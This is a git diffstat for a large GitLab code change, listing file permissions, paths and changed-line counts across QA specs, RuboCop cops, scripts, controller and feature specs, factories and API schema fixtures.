-rw-r--r--qa/qa/page/project/packages/index.rb2
-rw-r--r--qa/qa/page/project/pipeline/show.rb8
-rw-r--r--qa/qa/page/project/settings/advanced.rb22
-rw-r--r--qa/qa/page/project/settings/main.rb1
-rw-r--r--qa/qa/page/project/settings/merge_request.rb9
-rw-r--r--qa/qa/page/project/settings/mirroring_repositories.rb2
-rw-r--r--qa/qa/page/project/settings/services/jira.rb2
-rw-r--r--qa/qa/page/project/show.rb2
-rw-r--r--qa/qa/page/project/web_ide/edit.rb26
-rw-r--r--qa/qa/page/sub_menus/common.rb2
-rw-r--r--qa/qa/resource/api_fabricator.rb4
-rw-r--r--qa/qa/resource/fork.rb4
-rw-r--r--qa/qa/resource/group.rb1
-rw-r--r--qa/qa/resource/project.rb7
-rw-r--r--qa/qa/resource/project_imported_from_github.rb21
-rw-r--r--qa/qa/resource/settings/hashed_storage.rb26
-rw-r--r--qa/qa/resource/user.rb2
-rw-r--r--qa/qa/runtime/application_settings.rb62
-rw-r--r--qa/qa/runtime/browser.rb2
-rw-r--r--qa/qa/runtime/env.rb13
-rw-r--r--qa/qa/runtime/namespace.rb11
-rw-r--r--qa/qa/service/praefect_manager.rb6
-rw-r--r--qa/qa/specs/features/api/1_manage/rate_limits_spec.rb4
-rw-r--r--qa/qa/specs/features/api/1_manage/users_spec.rb6
-rw-r--r--qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb6
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb62
-rw-r--r--qa/qa/specs/features/api/3_create/repository/files_spec.rb4
-rw-r--r--qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb3
-rw-r--r--qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb20
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb17
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/comment_issue_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/export_as_csv_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/filter_issue_comments_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/issue_suggestions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/jira_issue_import_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/mentions_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue_boards/focus_mode_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/milestone/assign_milestone_spec.rb1
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/milestone/create_group_milestone_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/milestone/create_project_milestone_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb45
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/design_management/add_design_content_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/squash_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_diff_patch_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/clone_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/create_edit_delete_file_via_web_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/move_project_create_fork_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_http_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/protocol_v2_push_ssh_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_lfs_over_http_spec.rb45
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_mirroring_over_http_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_file_size_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_over_http_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_over_ssh_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/ssh_key_support_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/user_views_commit_diff_patch_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb63
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb64
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb236
-rw-r--r--qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb67
-rw-r--r--qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb2
-rw-r--r--qa/qa/specs/features/sanity/version_spec.rb37
-rw-r--r--qa/qa/support/json_formatter.rb37
-rw-r--r--qa/spec/page/validator_spec.rb2
-rw-r--r--qa/spec/runtime/application_settings_spec.rb6
-rw-r--r--qa/spec/runtime/namespace_spec.rb51
-rw-r--r--qa/spec/spec_helper.rb7
-rw-r--r--rubocop/cop/avoid_route_redirect_leading_slash.rb4
-rw-r--r--rubocop/cop/gitlab/avoid_uploaded_file_from_params.rb51
-rw-r--r--rubocop/cop/gitlab/bulk_insert.rb2
-rw-r--r--rubocop/cop/gitlab/except.rb23
-rw-r--r--rubocop/cop/gitlab/intersect.rb23
-rw-r--r--rubocop/cop/gitlab/rails_logger.rb35
-rw-r--r--rubocop/cop/migration/complex_indexes_require_name.rb61
-rw-r--r--rubocop/cop/migration/create_table_with_foreign_keys.rb99
-rw-r--r--rubocop/cop/migration/refer_to_index_by_name.rb67
-rw-r--r--rubocop/cop/migration/safer_boolean_column.rb2
-rw-r--r--rubocop/cop/rspec/timecop_freeze.rb41
-rw-r--r--rubocop/cop/rspec/top_level_describe_path.rb2
-rw-r--r--rubocop/cop/static_translation_definition.rb18
-rw-r--r--rubocop/cop/usage_data/distinct_count_by_large_foreign_key.rb20
-rw-r--r--rubocop/migration_helpers.rb19
-rw-r--r--rubocop/routes_under_scope.rb9
-rw-r--r--rubocop/rubocop-migrations.yml1
-rw-r--r--rubocop/rubocop-usage-data.yml18
-rwxr-xr-xscripts/docs_screenshots.rb60
-rwxr-xr-xscripts/frontend/check_page_bundle_mixins_css_for_sideeffects.js36
-rwxr-xr-xscripts/lint-doc.sh13
-rwxr-xr-xscripts/review_apps/review-apps.sh5
-rw-r--r--scripts/review_apps/seed-dast-test-data.sh69
-rw-r--r--scripts/rspec_helpers.sh25
-rwxr-xr-xscripts/trigger-build26
-rw-r--r--scripts/utils.sh18
-rwxr-xr-xscripts/verify-tff-mapping163
-rw-r--r--spec/bin/feature_flag_spec.rb40
-rw-r--r--spec/controllers/admin/cohorts_controller_spec.rb39
-rw-r--r--spec/controllers/admin/dev_ops_report_controller_spec.rb39
-rw-r--r--spec/controllers/admin/instance_statistics_controller_spec.rb17
-rw-r--r--spec/controllers/admin/integrations_controller_spec.rb7
-rw-r--r--spec/controllers/admin/plan_limits_controller_spec.rb45
-rw-r--r--spec/controllers/admin/sessions_controller_spec.rb31
-rw-r--r--spec/controllers/admin/users_controller_spec.rb139
-rw-r--r--spec/controllers/application_controller_spec.rb55
-rw-r--r--spec/controllers/concerns/redis_tracking_spec.rb106
-rw-r--r--spec/controllers/concerns/send_file_upload_spec.rb140
-rw-r--r--spec/controllers/dashboard/projects_controller_spec.rb36
-rw-r--r--spec/controllers/graphql_controller_spec.rb40
-rw-r--r--spec/controllers/groups/settings/integrations_controller_spec.rb6
-rw-r--r--spec/controllers/groups_controller_spec.rb4
-rw-r--r--spec/controllers/instance_statistics/cohorts_controller_spec.rb28
-rw-r--r--spec/controllers/instance_statistics/dev_ops_score_controller_spec.rb20
-rw-r--r--spec/controllers/invites_controller_spec.rb140
-rw-r--r--spec/controllers/jira_connect/app_descriptor_controller_spec.rb23
-rw-r--r--spec/controllers/jira_connect/events_controller_spec.rb73
-rw-r--r--spec/controllers/jira_connect/subscriptions_controller_spec.rb113
-rw-r--r--spec/controllers/ldap/omniauth_callbacks_controller_spec.rb5
-rw-r--r--spec/controllers/oauth/jira/authorizations_controller_spec.rb45
-rw-r--r--spec/controllers/oauth/token_info_controller_spec.rb16
-rw-r--r--spec/controllers/omniauth_callbacks_controller_spec.rb50
-rw-r--r--spec/controllers/passwords_controller_spec.rb57
-rw-r--r--spec/controllers/profiles/accounts_controller_spec.rb13
-rw-r--r--spec/controllers/profiles/emails_controller_spec.rb37
-rw-r--r--spec/controllers/profiles/keys_controller_spec.rb104
-rw-r--r--spec/controllers/profiles/notifications_controller_spec.rb38
-rw-r--r--spec/controllers/profiles/two_factor_auths_controller_spec.rb42
-rw-r--r--spec/controllers/profiles/webauthn_registrations_controller_spec.rb20
-rw-r--r--spec/controllers/projects/badges_controller_spec.rb28
-rw-r--r--spec/controllers/projects/blob_controller_spec.rb35
-rw-r--r--spec/controllers/projects/ci/lints_controller_spec.rb70
-rw-r--r--spec/controllers/projects/graphs_controller_spec.rb2
-rw-r--r--spec/controllers/projects/issue_links_controller_spec.rb71
-rw-r--r--spec/controllers/projects/issues_controller_spec.rb89
-rw-r--r--spec/controllers/projects/jobs_controller_spec.rb52
-rw-r--r--spec/controllers/projects/merge_requests/content_controller_spec.rb18
-rw-r--r--spec/controllers/projects/merge_requests/diffs_controller_spec.rb48
-rw-r--r--spec/controllers/projects/merge_requests_controller_spec.rb36
-rw-r--r--spec/controllers/projects/milestones_controller_spec.rb8
-rw-r--r--spec/controllers/projects/notes_controller_spec.rb2
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb69
-rw-r--r--spec/controllers/projects/services_controller_spec.rb15
-rw-r--r--spec/controllers/projects/settings/operations_controller_spec.rb7
-rw-r--r--spec/controllers/projects/snippets_controller_spec.rb83
-rw-r--r--spec/controllers/projects/static_site_editor_controller_spec.rb23
-rw-r--r--spec/controllers/projects/todos_controller_spec.rb35
-rw-r--r--spec/controllers/projects/web_ide_schemas_controller_spec.rb66
-rw-r--r--spec/controllers/projects/web_ide_terminals_controller_spec.rb2
-rw-r--r--spec/controllers/projects_controller_spec.rb43
-rw-r--r--spec/controllers/registrations/experience_levels_controller_spec.rb2
-rw-r--r--spec/controllers/registrations_controller_spec.rb59
-rw-r--r--spec/controllers/search_controller_spec.rb107
-rw-r--r--spec/controllers/sessions_controller_spec.rb93
-rw-r--r--spec/controllers/snippets_controller_spec.rb14
-rw-r--r--spec/controllers/users_controller_spec.rb65
-rw-r--r--spec/db/schema_spec.rb5
-rw-r--r--spec/docs_screenshots/container_registry_docs.rb87
-rw-r--r--spec/factories/atlassian_identities.rb11
-rw-r--r--spec/factories/audit_events.rb4
-rw-r--r--spec/factories/ci/bridge.rb9
-rw-r--r--spec/factories/ci/build_pending_states.rb9
-rw-r--r--spec/factories/ci/pipeline_artifacts.rb23
-rw-r--r--spec/factories/ci/pipelines.rb6
-rw-r--r--spec/factories/ci_platform_metrics.rb9
-rw-r--r--spec/factories/clusters/kubernetes_namespaces.rb15
-rw-r--r--spec/factories/clusters/providers/aws.rb1
-rw-r--r--spec/factories/dev_ops_report_metrics.rb45
-rw-r--r--spec/factories/dev_ops_score_metrics.rb45
-rw-r--r--spec/factories/diff_position.rb5
-rw-r--r--spec/factories/draft_note.rb2
-rw-r--r--spec/factories/file_uploaders.rb2
-rw-r--r--spec/factories/group_members.rb8
-rw-r--r--spec/factories/instance_statistics/measurement.rb17
-rw-r--r--spec/factories/issuable_severity.rb7
-rw-r--r--spec/factories/issue_links.rb8
-rw-r--r--spec/factories/issues.rb10
-rw-r--r--spec/factories/jira_connect_installation.rb9
-rw-r--r--spec/factories/jira_connect_subscription.rb8
-rw-r--r--spec/factories/labels.rb7
-rw-r--r--spec/factories/merge_request_diffs.rb16
-rw-r--r--spec/factories/merge_requests.rb2
-rw-r--r--spec/factories/metrics/users_starred_dashboards.rb (renamed from spec/factories/metrics/users_starred_dasboards.rb)0
-rw-r--r--spec/factories/operations/feature_flag_scopes.rb10
-rw-r--r--spec/factories/operations/feature_flags.rb17
-rw-r--r--spec/factories/operations/feature_flags/scope.rb8
-rw-r--r--spec/factories/operations/feature_flags/strategy.rb9
-rw-r--r--spec/factories/operations/feature_flags/user_list.rb9
-rw-r--r--spec/factories/operations/feature_flags_clients.rb7
-rw-r--r--spec/factories/packages.rb21
-rw-r--r--spec/factories/pages_deployments.rb12
-rw-r--r--spec/factories/plan_limits.rb9
-rw-r--r--spec/factories/project_feature_usage.rb15
-rw-r--r--spec/factories/project_members.rb2
-rw-r--r--spec/factories/project_statistics.rb1
-rw-r--r--spec/factories/projects.rb33
-rw-r--r--spec/factories/resource_iteration_event.rb11
-rw-r--r--spec/factories/services.rb6
-rw-r--r--spec/factories/snippet_repositories.rb8
-rw-r--r--spec/factories/terraform/state.rb20
-rw-r--r--spec/factories/terraform/state_version.rb11
-rw-r--r--spec/factories/usage_data.rb16
-rw-r--r--spec/factories/users.rb18
-rw-r--r--spec/factories/webauthn_registrations.rb11
-rw-r--r--spec/features/admin/admin_cohorts_spec.rb31
-rw-r--r--spec/features/admin/admin_dev_ops_report_spec.rb60
-rw-r--r--spec/features/admin/admin_groups_spec.rb2
-rw-r--r--spec/features/admin/admin_settings_spec.rb81
-rw-r--r--spec/features/admin/admin_users_spec.rb7
-rw-r--r--spec/features/admin/services/admin_activates_prometheus_spec.rb2
-rw-r--r--spec/features/admin/services/admin_visits_service_templates_spec.rb2
-rw-r--r--spec/features/boards/boards_spec.rb60
-rw-r--r--spec/features/boards/new_issue_spec.rb43
-rw-r--r--spec/features/boards/sidebar_spec.rb2
-rw-r--r--spec/features/cycle_analytics_spec.rb13
-rw-r--r--spec/features/dashboard/datetime_on_tooltips_spec.rb35
-rw-r--r--spec/features/dashboard/instance_statistics_spec.rb64
-rw-r--r--spec/features/expand_collapse_diffs_spec.rb5
-rw-r--r--spec/features/file_uploads/ci_artifact_spec.rb29
-rw-r--r--spec/features/file_uploads/git_lfs_spec.rb37
-rw-r--r--spec/features/file_uploads/graphql_add_design_spec.rb54
-rw-r--r--spec/features/file_uploads/group_import_spec.rb32
-rw-r--r--spec/features/file_uploads/maven_package_spec.rb29
-rw-r--r--spec/features/file_uploads/nuget_package_spec.rb35
-rw-r--r--spec/features/file_uploads/project_import_spec.rb31
-rw-r--r--spec/features/file_uploads/user_avatar_spec.rb33
-rw-r--r--spec/features/groups/board_sidebar_spec.rb2
-rw-r--r--spec/features/groups/clusters/user_spec.rb2
-rw-r--r--spec/features/groups/import_export/import_file_spec.rb2
-rw-r--r--spec/features/groups/members/filter_members_spec.rb2
-rw-r--r--spec/features/groups/members/leave_group_spec.rb2
-rw-r--r--spec/features/groups/members/list_members_spec.rb2
-rw-r--r--spec/features/groups/members/manage_groups_spec.rb2
-rw-r--r--spec/features/groups/members/manage_members_spec.rb2
-rw-r--r--spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb2
-rw-r--r--spec/features/groups/members/master_manages_access_requests_spec.rb4
-rw-r--r--spec/features/groups/members/search_members_spec.rb2
-rw-r--r--spec/features/groups/members/sort_members_spec.rb2
-rw-r--r--spec/features/groups/milestone_spec.rb2
-rw-r--r--spec/features/groups/navbar_spec.rb5
-rw-r--r--spec/features/import/manifest_import_spec.rb2
-rw-r--r--spec/features/instance_statistics/cohorts_spec.rb19
-rw-r--r--spec/features/instance_statistics/dev_ops_score_spec.rb60
-rw-r--r--spec/features/instance_statistics/instance_statistics_spec.rb25
-rw-r--r--spec/features/invites_spec.rb15
-rw-r--r--spec/features/issuables/close_reopen_report_toggle_spec.rb16
-rw-r--r--spec/features/issuables/issuable_list_spec.rb4
-rw-r--r--spec/features/issuables/related_issues_spec.rb400
-rw-r--r--spec/features/issuables/sorting_list_spec.rb14
-rw-r--r--spec/features/issues/gfm_autocomplete_spec.rb23
-rw-r--r--spec/features/issues/group_label_sidebar_spec.rb4
-rw-r--r--spec/features/issues/incident_issue_spec.rb23
-rw-r--r--spec/features/issues/issue_detail_spec.rb13
-rw-r--r--spec/features/issues/issue_sidebar_spec.rb6
-rw-r--r--spec/features/issues/markdown_toolbar_spec.rb2
-rw-r--r--spec/features/issues/resource_label_events_spec.rb4
-rw-r--r--spec/features/issues/service_desk_spec.rb100
-rw-r--r--spec/features/issues/user_creates_issue_spec.rb48
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb30
-rw-r--r--spec/features/issues/user_interacts_with_awards_spec.rb25
-rw-r--r--spec/features/issues/user_views_issue_spec.rb30
-rw-r--r--spec/features/jira_connect/subscriptions_spec.rb47
-rw-r--r--spec/features/jira_oauth_provider_authorize_spec.rb21
-rw-r--r--spec/features/labels_hierarchy_spec.rb9
-rw-r--r--spec/features/markdown/copy_as_gfm_spec.rb56
-rw-r--r--spec/features/markdown/keyboard_shortcuts_spec.rb119
-rw-r--r--spec/features/markdown/markdown_spec.rb1
-rw-r--r--spec/features/markdown/mermaid_spec.rb2
-rw-r--r--spec/features/merge_request/batch_comments_spec.rb2
-rw-r--r--spec/features/merge_request/maintainer_edits_fork_spec.rb2
-rw-r--r--spec/features/merge_request/user_accepts_merge_request_spec.rb34
-rw-r--r--spec/features/merge_request/user_assigns_themselves_spec.rb9
-rw-r--r--spec/features/merge_request/user_edits_mr_spec.rb28
-rw-r--r--spec/features/merge_request/user_expands_diff_spec.rb11
-rw-r--r--spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb3
-rw-r--r--spec/features/merge_request/user_posts_notes_spec.rb2
-rw-r--r--spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb4
-rw-r--r--spec/features/merge_request/user_sees_avatar_on_diff_notes_spec.rb1
-rw-r--r--spec/features/merge_request/user_sees_diff_spec.rb10
-rw-r--r--spec/features/merge_request/user_sees_merge_widget_spec.rb4
-rw-r--r--spec/features/merge_request/user_sees_pipelines_spec.rb4
-rw-r--r--spec/features/merge_request/user_sees_versions_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_auto_expanding_diff_spec.rb6
-rw-r--r--spec/features/merge_request/user_views_diffs_file_by_file_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_diffs_spec.rb3
-rw-r--r--spec/features/merge_requests/user_views_diffs_commit_spec.rb1
-rw-r--r--spec/features/profiles/account_spec.rb33
-rw-r--r--spec/features/projects/artifacts/raw_spec.rb2
-rw-r--r--spec/features/projects/blobs/blob_show_spec.rb79
-rw-r--r--spec/features/projects/branches_spec.rb2
-rw-r--r--spec/features/projects/ci/lint_spec.rb139
-rw-r--r--spec/features/projects/clusters/gcp_spec.rb2
-rw-r--r--spec/features/projects/clusters/user_spec.rb2
-rw-r--r--spec/features/projects/clusters_spec.rb4
-rw-r--r--spec/features/projects/commit/mini_pipeline_graph_spec.rb2
-rw-r--r--spec/features/projects/deploy_keys_spec.rb2
-rw-r--r--spec/features/projects/environments/environments_spec.rb4
-rw-r--r--spec/features/projects/issues/design_management/user_paginates_designs_spec.rb59
-rw-r--r--spec/features/projects/issues/design_management/user_permissions_upload_spec.rb29
-rw-r--r--spec/features/projects/issues/design_management/user_uploads_designs_spec.rb79
-rw-r--r--spec/features/projects/issues/design_management/user_views_design_spec.rb39
-rw-r--r--spec/features/projects/issues/design_management/user_views_designs_spec.rb77
-rw-r--r--spec/features/projects/jobs_spec.rb49
-rw-r--r--spec/features/projects/members/invite_group_spec.rb2
-rw-r--r--spec/features/projects/navbar_spec.rb8
-rw-r--r--spec/features/projects/pages_spec.rb4
-rw-r--r--spec/features/projects/pipelines/pipeline_spec.rb2
-rw-r--r--spec/features/projects/pipelines/pipelines_spec.rb8
-rw-r--r--spec/features/projects/releases/user_creates_release_spec.rb147
-rw-r--r--spec/features/projects/releases/user_views_releases_spec.rb156
-rw-r--r--spec/features/projects/services/user_activates_asana_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_assembla_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_emails_on_push_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_flowdock_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_hipchat_spec.rb10
-rw-r--r--spec/features/projects/services/user_activates_irker_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_issue_tracker_spec.rb23
-rw-r--r--spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_jira_spec.rb15
-rw-r--r--spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb10
-rw-r--r--spec/features/projects/services/user_activates_packagist_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_pivotaltracker_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_prometheus_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_pushover_spec.rb4
-rw-r--r--spec/features/projects/services/user_activates_slack_notifications_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_slack_slash_command_spec.rb6
-rw-r--r--spec/features/projects/settings/repository_settings_spec.rb8
-rw-r--r--spec/features/projects/settings/user_renames_a_project_spec.rb2
-rw-r--r--spec/features/projects/show/user_sees_readme_spec.rb21
-rw-r--r--spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb2
-rw-r--r--spec/features/projects/snippets/create_snippet_spec.rb138
-rw-r--r--spec/features/projects/snippets/user_updates_snippet_spec.rb80
-rw-r--r--spec/features/projects/user_sees_sidebar_spec.rb5
-rw-r--r--spec/features/projects/view_on_env_spec.rb2
-rw-r--r--spec/features/projects/wiki/markdown_preview_spec.rb1
-rw-r--r--spec/features/projects_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_issues_spec.rb85
-rw-r--r--spec/features/search/user_searches_for_projects_spec.rb45
-rw-r--r--spec/features/search/user_uses_header_search_field_spec.rb4
-rw-r--r--spec/features/snippets/spam_snippets_spec.rb19
-rw-r--r--spec/features/snippets/user_creates_snippet_spec.rb197
-rw-r--r--spec/features/snippets/user_edits_snippet_spec.rb131
-rw-r--r--spec/features/static_site_editor_spec.rb8
-rw-r--r--spec/features/task_lists_spec.rb12
-rw-r--r--spec/features/u2f_spec.rb115
-rw-r--r--spec/features/users/login_spec.rb2
-rw-r--r--spec/features/users/signup_spec.rb105
-rw-r--r--spec/features/webauthn_spec.rb234
-rw-r--r--spec/finders/ci/jobs_finder_spec.rb140
-rw-r--r--spec/finders/concerns/finder_methods_spec.rb6
-rw-r--r--spec/finders/design_management/designs_finder_spec.rb20
-rw-r--r--spec/finders/feature_flags_finder_spec.rb94
-rw-r--r--spec/finders/fork_targets_finder_spec.rb8
-rw-r--r--spec/finders/group_members_finder_spec.rb1
-rw-r--r--spec/finders/groups_finder_spec.rb8
-rw-r--r--spec/finders/issues_finder_spec.rb219
-rw-r--r--spec/finders/members_finder_spec.rb12
-rw-r--r--spec/finders/merge_requests_finder_spec.rb66
-rw-r--r--spec/finders/projects_finder_spec.rb36
-rw-r--r--spec/finders/user_group_notification_settings_finder_spec.rb132
-rw-r--r--spec/finders/users_finder_spec.rb17
-rw-r--r--spec/fixtures/api/schemas/entities/discussion.json3
-rw-r--r--spec/fixtures/api/schemas/entities/github/branches.json16
-rw-r--r--spec/fixtures/api/schemas/entities/github/commit.json61
-rw-r--r--spec/fixtures/api/schemas/entities/github/pull_request.json108
-rw-r--r--spec/fixtures/api/schemas/entities/github/pull_requests.json6
-rw-r--r--spec/fixtures/api/schemas/entities/github/repositories.json16
-rw-r--r--spec/fixtures/api/schemas/entities/github/repository.json16
-rw-r--r--spec/fixtures/api/schemas/entities/github/user.json13
-rw-r--r--spec/fixtures/api/schemas/entities/group_group_link.json29
-rw-r--r--spec/fixtures/api/schemas/entities/issue_sidebar.json5
-rw-r--r--spec/fixtures/api/schemas/entities/lint_job_entity.json58
-rw-r--r--spec/fixtures/api/schemas/entities/lint_result_entity.json25
-rw-r--r--spec/fixtures/api/schemas/entities/merge_request_basic.json7
-rw-r--r--spec/fixtures/api/schemas/entities/merge_request_poll_cached_widget.json6
-rw-r--r--spec/fixtures/api/schemas/entities/merge_request_poll_widget.json8
-rw-r--r--spec/fixtures/api/schemas/entities/merge_request_sidebar.json4
-rw-r--r--spec/fixtures/api/schemas/entities/merge_request_sidebar_extras.json4
-rw-r--r--spec/fixtures/api/schemas/group_group_links.json6
-rw-r--r--spec/fixtures/api/schemas/group_member.json78
-rw-r--r--spec/fixtures/api/schemas/group_members.json6
